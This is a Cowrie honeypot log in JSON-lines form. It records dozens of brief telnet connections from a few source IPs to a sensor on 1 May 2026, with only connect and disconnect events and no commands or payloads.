{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49742,"dst_ip":"10.17.0.5","dst_port":23,"session":"f383102769d7","protocol":"telnet","message":"New connection: 208.115.219.122:49742 (10.17.0.5:23) [session: f383102769d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:02.870629Z"}
{"eventid":"cowrie.session.closed","duration":30.961249113082886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:03.015820Z","src_ip":"208.115.219.122","session":"ed914e09135d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49746,"dst_ip":"10.17.0.5","dst_port":23,"session":"edf00702e14d","protocol":"telnet","message":"New connection: 208.115.219.122:49746 (10.17.0.5:23) [session: edf00702e14d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:03.078619Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49754,"dst_ip":"10.17.0.5","dst_port":23,"session":"dac49622c938","protocol":"telnet","message":"New connection: 208.115.219.122:49754 (10.17.0.5:23) [session: dac49622c938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:03.164555Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41950,"dst_ip":"10.17.0.5","dst_port":23,"session":"92a8294f69e0","protocol":"telnet","message":"New connection: 208.115.200.90:41950 (10.17.0.5:23) [session: 92a8294f69e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:03.373961Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49770,"dst_ip":"10.17.0.5","dst_port":23,"session":"c953510e7497","protocol":"telnet","message":"New connection: 208.115.219.122:49770 (10.17.0.5:23) [session: c953510e7497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:03.706316Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49776,"dst_ip":"10.17.0.5","dst_port":23,"session":"5994b052d019","protocol":"telnet","message":"New connection: 208.115.219.122:49776 (10.17.0.5:23) [session: 5994b052d019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:04.015219Z"}
{"eventid":"cowrie.session.closed","duration":30.405529975891113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:04.022363Z","src_ip":"208.115.219.122","session":"b86127cdb474","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.544297218322754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:04.178851Z","src_ip":"208.115.200.90","session":"427cd04f8c9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.427446842193604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:04.341237Z","src_ip":"208.115.219.122","session":"f5c696aeae68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49778,"dst_ip":"10.17.0.5","dst_port":23,"session":"e602a2264eaa","protocol":"telnet","message":"New connection: 208.115.219.122:49778 (10.17.0.5:23) [session: e602a2264eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:04.472889Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49780,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5ff45161c99","protocol":"telnet","message":"New connection: 208.115.219.122:49780 (10.17.0.5:23) [session: b5ff45161c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:04.752899Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33424,"dst_ip":"10.17.0.5","dst_port":23,"session":"82b6c36e1712","protocol":"telnet","message":"New connection: 24.199.85.165:33424 (10.17.0.5:23) [session: 82b6c36e1712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:04.818568Z"}
{"eventid":"cowrie.session.closed","duration":30.05281400680542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:05.028926Z","src_ip":"208.115.219.122","session":"2eebc32ba6a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28813862800598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:05.049831Z","src_ip":"208.115.219.122","session":"97b6954aa6a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52630,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3fed34e5f4d","protocol":"telnet","message":"New connection: 208.115.219.122:52630 (10.17.0.5:23) [session: a3fed34e5f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:05.086356Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52642,"dst_ip":"10.17.0.5","dst_port":23,"session":"45bd136a70d5","protocol":"telnet","message":"New connection: 208.115.219.122:52642 (10.17.0.5:23) [session: 45bd136a70d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:05.192871Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52650,"dst_ip":"10.17.0.5","dst_port":23,"session":"17db0e8061f1","protocol":"telnet","message":"New connection: 208.115.219.122:52650 (10.17.0.5:23) [session: 17db0e8061f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:05.291755Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52654,"dst_ip":"10.17.0.5","dst_port":23,"session":"947b0cdeffe8","protocol":"telnet","message":"New connection: 208.115.219.122:52654 (10.17.0.5:23) [session: 947b0cdeffe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:05.354376Z"}
{"eventid":"cowrie.session.closed","duration":31.13717746734619,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:05.548633Z","src_ip":"208.115.219.122","session":"07ce37075620","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52660,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb52870be446","protocol":"telnet","message":"New connection: 208.115.219.122:52660 (10.17.0.5:23) [session: fb52870be446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:05.610434Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52668,"dst_ip":"10.17.0.5","dst_port":23,"session":"e79ff254c9e5","protocol":"telnet","message":"New connection: 208.115.219.122:52668 (10.17.0.5:23) [session: e79ff254c9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:05.639687Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52674,"dst_ip":"10.17.0.5","dst_port":23,"session":"74aa1d1a7989","protocol":"telnet","message":"New connection: 208.115.219.122:52674 (10.17.0.5:23) [session: 74aa1d1a7989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:05.767034Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52688,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7e04ff17fd6","protocol":"telnet","message":"New connection: 208.115.219.122:52688 (10.17.0.5:23) [session: a7e04ff17fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:06.254102Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52696,"dst_ip":"10.17.0.5","dst_port":23,"session":"11ff7f5f538a","protocol":"telnet","message":"New connection: 208.115.219.122:52696 (10.17.0.5:23) [session: 11ff7f5f538a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:06.273054Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52706,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d9cc7c49a06","protocol":"telnet","message":"New connection: 208.115.219.122:52706 (10.17.0.5:23) [session: 1d9cc7c49a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:06.571772Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35350,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e08f5fdf0f4","protocol":"telnet","message":"New connection: 208.115.200.90:35350 (10.17.0.5:23) [session: 1e08f5fdf0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:06.618569Z"}
{"eventid":"cowrie.session.closed","duration":30.8288733959198,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:06.640011Z","src_ip":"208.115.219.122","session":"4de82450bc7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52714,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c73b7dc4951","protocol":"telnet","message":"New connection: 208.115.219.122:52714 (10.17.0.5:23) [session: 1c73b7dc4951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:06.765595Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52718,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aeff7598ab2","protocol":"telnet","message":"New connection: 208.115.219.122:52718 (10.17.0.5:23) [session: 0aeff7598ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:06.980690Z"}
{"eventid":"cowrie.session.closed","duration":30.61276936531067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:07.027702Z","src_ip":"208.115.219.122","session":"57967c7379cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.715898275375366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:07.045237Z","src_ip":"208.115.219.122","session":"c0677eb475df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52724,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff3f74a420c5","protocol":"telnet","message":"New connection: 208.115.219.122:52724 (10.17.0.5:23) [session: ff3f74a420c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:07.150053Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52732,"dst_ip":"10.17.0.5","dst_port":23,"session":"334ef220d40b","protocol":"telnet","message":"New connection: 208.115.219.122:52732 (10.17.0.5:23) [session: 334ef220d40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:07.205123Z"}
{"eventid":"cowrie.session.closed","duration":30.924692153930664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:07.344714Z","src_ip":"208.115.219.122","session":"3a8cdb75a4f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52736,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfc1d25f95b4","protocol":"telnet","message":"New connection: 208.115.219.122:52736 (10.17.0.5:23) [session: dfc1d25f95b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:07.910342Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52744,"dst_ip":"10.17.0.5","dst_port":23,"session":"245df3b2a0e8","protocol":"telnet","message":"New connection: 208.115.219.122:52744 (10.17.0.5:23) [session: 245df3b2a0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:07.932366Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52758,"dst_ip":"10.17.0.5","dst_port":23,"session":"96de897abe63","protocol":"telnet","message":"New connection: 208.115.219.122:52758 (10.17.0.5:23) [session: 96de897abe63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:07.949382Z"}
{"eventid":"cowrie.session.closed","duration":30.97130799293518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:08.125228Z","src_ip":"208.115.219.122","session":"29654146397f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52768,"dst_ip":"10.17.0.5","dst_port":23,"session":"5437149e5dbd","protocol":"telnet","message":"New connection: 208.115.219.122:52768 (10.17.0.5:23) [session: 5437149e5dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:08.391636Z"}
{"eventid":"cowrie.session.closed","duration":30.460630416870117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:09.035063Z","src_ip":"208.115.219.122","session":"e1fa914f9acc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55345058441162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:09.196635Z","src_ip":"208.115.219.122","session":"497b3539be54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52770,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dede5e44950","protocol":"telnet","message":"New connection: 208.115.219.122:52770 (10.17.0.5:23) [session: 8dede5e44950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:09.602525Z"}
{"eventid":"cowrie.session.closed","duration":31.735931873321533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:09.798677Z","src_ip":"208.115.219.122","session":"d2d8d6c1df44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.932815074920654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:10.015700Z","src_ip":"208.115.219.122","session":"93a26a98aad6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.13416051864624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:10.036430Z","src_ip":"208.115.219.122","session":"acad29fc60a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47625160217285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:10.113870Z","src_ip":"208.115.219.122","session":"1b19c104f906","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52778,"dst_ip":"10.17.0.5","dst_port":23,"session":"7845c6c98690","protocol":"telnet","message":"New connection: 208.115.219.122:52778 (10.17.0.5:23) [session: 7845c6c98690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:10.269090Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52784,"dst_ip":"10.17.0.5","dst_port":23,"session":"882f83d15dc9","protocol":"telnet","message":"New connection: 208.115.219.122:52784 (10.17.0.5:23) [session: 882f83d15dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:10.315555Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52796,"dst_ip":"10.17.0.5","dst_port":23,"session":"08e0e479b31b","protocol":"telnet","message":"New connection: 208.115.219.122:52796 (10.17.0.5:23) [session: 08e0e479b31b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:10.388284Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52812,"dst_ip":"10.17.0.5","dst_port":23,"session":"4981c9d4a7db","protocol":"telnet","message":"New connection: 208.115.219.122:52812 (10.17.0.5:23) [session: 4981c9d4a7db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:10.401311Z"}
{"eventid":"cowrie.session.closed","duration":31.224358797073364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:10.412623Z","src_ip":"208.115.219.122","session":"e47634f93498","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52824,"dst_ip":"10.17.0.5","dst_port":23,"session":"e10824b78161","protocol":"telnet","message":"New connection: 208.115.219.122:52824 (10.17.0.5:23) [session: e10824b78161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:10.708578Z"}
{"eventid":"cowrie.session.closed","duration":30.87476634979248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:11.024331Z","src_ip":"208.115.219.122","session":"a63e8b40a492","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.1082546710968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:11.052639Z","src_ip":"208.115.219.122","session":"2ddaf0158afa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52832,"dst_ip":"10.17.0.5","dst_port":23,"session":"df6fa041fc86","protocol":"telnet","message":"New connection: 208.115.219.122:52832 (10.17.0.5:23) [session: df6fa041fc86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:11.058811Z"}
{"eventid":"cowrie.session.closed","duration":30.79227924346924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:11.063708Z","src_ip":"208.115.219.122","session":"b6c720bc11c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53475570678711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:11.075265Z","src_ip":"208.115.219.122","session":"335e91ca4723","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63156509399414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:11.112975Z","src_ip":"208.115.219.122","session":"b35ae9cdfb7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.165857315063477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:11.189246Z","src_ip":"208.115.219.122","session":"b0105ff94094","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52844,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae7cb6b38844","protocol":"telnet","message":"New connection: 208.115.219.122:52844 (10.17.0.5:23) [session: ae7cb6b38844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:11.285588Z"}
{"eventid":"cowrie.session.closed","duration":30.53505229949951,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:11.407611Z","src_ip":"208.115.219.122","session":"b110e8499349","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45825219154358,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:12.061693Z","src_ip":"208.115.219.122","session":"35ec6fc307e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25431251525879,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:12.126298Z","src_ip":"208.115.219.122","session":"6f26f027fd09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52846,"dst_ip":"10.17.0.5","dst_port":23,"session":"53237babd628","protocol":"telnet","message":"New connection: 208.115.219.122:52846 (10.17.0.5:23) [session: 53237babd628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:12.133571Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52858,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba17de2e6aef","protocol":"telnet","message":"New connection: 208.115.219.122:52858 (10.17.0.5:23) [session: ba17de2e6aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:12.291044Z"}
{"eventid":"cowrie.session.closed","duration":30.56932306289673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:12.461737Z","src_ip":"208.115.219.122","session":"fe1e827b31d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52866,"dst_ip":"10.17.0.5","dst_port":23,"session":"76edb7e288f8","protocol":"telnet","message":"New connection: 208.115.219.122:52866 (10.17.0.5:23) [session: 76edb7e288f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:12.564986Z"}
{"eventid":"cowrie.session.closed","duration":30.6450297832489,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:12.618813Z","src_ip":"208.115.219.122","session":"c8276df3105e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52876,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b46a93f1981","protocol":"telnet","message":"New connection: 208.115.219.122:52876 (10.17.0.5:23) [session: 6b46a93f1981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:12.683565Z"}
{"eventid":"cowrie.session.closed","duration":30.682111740112305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:13.017718Z","src_ip":"208.115.219.122","session":"3b13ce80d691","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52884,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a694402b2d8","protocol":"telnet","message":"New connection: 208.115.219.122:52884 (10.17.0.5:23) [session: 3a694402b2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:13.075229Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52898,"dst_ip":"10.17.0.5","dst_port":23,"session":"edfd5e249d03","protocol":"telnet","message":"New connection: 208.115.219.122:52898 (10.17.0.5:23) [session: edfd5e249d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:13.149257Z"}
{"eventid":"cowrie.session.closed","duration":31.293378829956055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:13.644751Z","src_ip":"208.115.219.122","session":"a17b023d6dca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52900,"dst_ip":"10.17.0.5","dst_port":23,"session":"595000aa7e50","protocol":"telnet","message":"New connection: 208.115.219.122:52900 (10.17.0.5:23) [session: 595000aa7e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:13.954106Z"}
{"eventid":"cowrie.session.closed","duration":30.176593780517578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:14.014045Z","src_ip":"208.115.219.122","session":"c35775512be3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37317204475403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:14.030290Z","src_ip":"208.115.219.122","session":"3929cd799dba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.541179656982422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:14.130472Z","src_ip":"208.115.219.122","session":"ca14605f5710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52904,"dst_ip":"10.17.0.5","dst_port":23,"session":"958ad790bdda","protocol":"telnet","message":"New connection: 208.115.219.122:52904 (10.17.0.5:23) [session: 958ad790bdda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:14.175804Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52912,"dst_ip":"10.17.0.5","dst_port":23,"session":"22949c8d4403","protocol":"telnet","message":"New connection: 208.115.219.122:52912 (10.17.0.5:23) [session: 22949c8d4403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:14.242268Z"}
